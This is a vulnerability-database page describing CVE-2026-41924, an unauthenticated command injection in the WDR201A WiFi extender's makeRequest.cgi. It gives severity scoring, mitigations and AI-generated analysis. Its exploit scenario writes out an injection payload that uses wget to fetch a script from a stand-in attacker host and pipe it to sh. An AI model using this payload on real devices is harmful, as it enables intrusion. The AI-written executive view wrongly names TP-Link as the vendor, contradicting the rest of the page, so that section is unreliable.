Skip to main content

WDR201A WiFi Extender CVE-2026-41924

| EUVDEUVD-2026-27121 CRITICAL
OS Command Injection (CWE-78)
2026-05-04 VulnCheck
9.3
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Internet scan for exposed :80/443
  2. Delivery
    POST malicious params to makeRequest.cgi
  3. Exploit
    Command injection via set_time/StartSniffer
  4. Install
    Execute payload within 31-byte limit
  5. C2
    Download second-stage from C2
  6. Execute
    Establish persistent reverse shell
  7. Impact
    Compromise WiFi credentials and connected clients

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Requires the WDR201A WiFi Extender web management interface to be network-accessible from the attacker's position - typically satisfied when devices use default configurations exposing management on LAN interfaces (common) or when users enable remote management from WAN (less common but documented in similar extender products). The vulnerable makeRequest.cgi endpoint must respond to HTTP POST requests, which is the default behavior for this CGI binary across all tested firmware versions. No authentication is required as the CVSS vector confirms PR:N (Privileges Required: None), and the vulnerability exists in pre-authentication request processing logic. The 31-byte payload length constraint limits exploitation to compact shell commands but does not prevent meaningful compromise - attackers can download and execute second-stage payloads, establish reverse shells to short domains, or modify device configuration. Exploitation is NOT limited by: user interaction (UI:N), special timing conditions (AT:N), or attack complexity (AC:L). The primary limiting factor for widespread impact is the device's market penetration - WDR201A appears to be a niche consumer product with limited distribution outside specific Asian markets based on the Shenzhen manufacturer reference.

Impact

Real-world exploitation risk is CRITICAL based on converging threat signals. CVSS:4.0 vector (AV:N/AC:L/PR:N/UI:N) confirms zero-friction remote exploitation requiring no authentication or user interaction. CISA SSVC framework explicitly marks this as automatable with POC-level exploitation and total technical impact, meaning attackers can script mass scanning and compromise campaigns. VulnCheck's public exploit code publication lowers the attacker skill threshold dramatically. The device's role as a network infrastructure component amplifies impact - compromised extenders provide persistent network access for lateral movement, traffic interception, and man-in-the-middle attacks. Two factors partially mitigate severity: (1) The 31-byte command length restriction limits payload complexity but still permits devastating one-liners like reverse shells using short domain names or IP addresses; (2) WDR201A appears to be a niche consumer device with limited market penetration based on Made-in-China manufacturing reference, reducing total exposure compared to mainstream networking equipment. However, consumer IoT devices notoriously remain unpatched for years, and CVSS scope unchanged (SC:N/SI:N/SA:N) indicates the vulnerability doesn't inherently pivot beyond the device itself - attackers must chain with network position for broader impact. Priority: Immediate remediation for any exposed instances; blocking management interfaces from WAN access provides temporary protection.

Exploit ScenarioDerived

An attacker performs internet-wide scanning for WDR201A extender management interfaces exposed on default ports. Upon discovering a target at vulnerable IP, they craft a malicious POST request to makeRequest.cgi with ampersand-delimited payload in the set_time parameter: timezone=UTC&datetime=$(wget -O- attacker.io/s|sh). The undersanitized input reaches the date command via shell interpolation, executing the attacker's 30-byte payload that downloads and executes a secondary stage script. This establishes a reverse shell to the attacker's C2 infrastructure, granting root-level access to the device. The attacker then pivots to intercept WPA credentials for the extended WiFi network, enabling man-in-the-middle attacks against connected clients. Public exploit code existence means attackers can automate this process across thousands of targets within hours.

Act Now Prioritize within 24-48h. Why: CRITICAL severity + public POC available.
No patch listed yet 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 04, 2026

Remote code execution in WDR201A WiFi Extender (HW V2.1, FW ≤1.02) allows unauthenticated network attackers to execute arbitrary OS commands via the makeRequest.cgi binary. Exploitation requires no user interaction and has CVSS:4.0 score of 9.3. Publicly available exploit code exists (confirmed by VulnCheck and CISA SSVC framework), enabling automated attacks against exposed devices. SSVC designates this as automatable with total technical impact, representing immediate operational risk to internet-facing extenders.

RemediationAI

No vendor-released patch identified at time of analysis - the manufacturer (Shenzhen Yipu Commercial and Trading Co., Ltd.) has not published security updates or firmware downloads accessible through standard channels. Organizations must implement network-level compensating controls immediately: (1) Isolate WDR201A devices on segregated VLAN with no internet exposure and restrict management interface access to trusted administrator IP ranges only - this prevents remote unauthenticated exploitation but impairs remote management convenience; (2) Deploy firewall rules blocking inbound HTTP/HTTPS to TCP ports 80/443 on extender management IPs from WAN and untrusted LAN segments - effectiveness depends on correct identification of all device instances; (3) Replace affected hardware with alternative WiFi extenders from vendors with established CVE response programs if business continuity permits capital expenditure. Organizations should monitor VulnCheck advisory (https://www.vulncheck.com/advisories/wdr201a-wifi-extender-os-command-injection-via-makerequest-cgi) and researcher disclosure (https://mstreet97.github.io/security-research/iot/vulnerability-disclosure/ai-assisted-research/cybersecurity/cve/2026/05/04/Teaching_the_Machine_Where_to_Look.html) for any subsequent patch releases. Given typical consumer IoT support lifecycles, firmware updates are unlikely for hardware revision V2.1 manufactured circa 2020-2022.

Affected VersionsENISA

WDR201A WiFi Extender 0 ≤1.02

Affected Packages

euvd wdr201a_wifi_extender no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

This vulnerability affects the makeRequest.cgi CGI binary in WDR201A WiFi Extender firmware manufactured by Shenzhen Yipu Commercial and Trading Co., Ltd. The affected product (CPE: cpe:2.3:a:shenzhen_yipu_commercial_and_trading_co.,_ltd:wdr201a_wifi_extender:*:*:*:*:*:*:*:*) runs a lightweight embedded web server processing HTTP POST requests through CGI scripts. The root cause is CWE-78 (OS Command Injection), where the set_time and StartSniffer functions pass unsanitized user input directly to system shell commands. Specifically, ampersand-delimited parameters in POST requests reach the date command and channel parameter processing routines without proper input validation. The 31-byte length constraint suggests the vulnerability exploits fixed-size buffers or command string concatenation in the firmware's time synchronization and WiFi monitoring features. Consumer-grade IoT devices like WiFi extenders typically run BusyBox or similar minimal Linux distributions with web management interfaces exposed by default, making them attractive targets for botnet recruitment.

Know when Wdr201A Wifi Extender gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 9.3 CRITICAL
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (VulnCheck) · only source for this CVE.

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

1
CVSS changed
May 04, 2026 - 20:22 NVD
9.3 (CRITICAL)

DescriptionCVE.org

WDR201A WiFi Extender (HW V2.1, FW LFMZX28040922V1.02) contains an OS command injection vulnerability in the makeRequest.cgi binary that allows unauthenticated remote attackers to execute arbitrary shell commands by injecting malicious input into the set_time or StartSniffer functions. Attackers can craft a POST request with specially crafted ampersand-delimited parameters to bypass input sanitization and execute commands with a maximum length of 31 bytes through the date command or channel parameter processing.

Executive ViewAI

Why It Matters

CVE-2026-41924 is a critical remote code execution vulnerability affecting TP-Link WDR201A WiFi extenders (firmware ≤1.02) that allows unauthenticated attackers to execute arbitrary commands on the device without user interaction. Organizations operating these extenders on networks accessible to untrusted parties face immediate risk of device compromise, potential lateral movement, and loss of network integrity. With publicly available exploit code and no vendor patch currently available, this represents a significant operational vulnerability requiring urgent remediation.

Business Impact: Severe
Compensating Controls

Pending vendor patch availability. Interim mitigations: (1) Restrict network access to WDR201A devices via firewall rules-block inbound traffic to management interfaces (port 80/443) from untrusted networks; (2) Isolate affected devices to a separate VLAN with egress filtering; (3) Disable remote management and UPnP features in device settings; (4) Monitor device traffic for anomalous command execution patterns; (5) Prepare for rapid replacement once patched firmware becomes available.

Threat Intelligence Overview

EPSS Score
0.2%
Top 57% exploitable
Exploit
POC
Public exploit code exists
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC Yes
EPSS 0.2%
Patch available No
Active threat No
Deciding rule
CRITICAL severity + public POC available
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
Yes
Human Impact
Very High
Technical Impact
Total

Priority Score

66
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +46
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy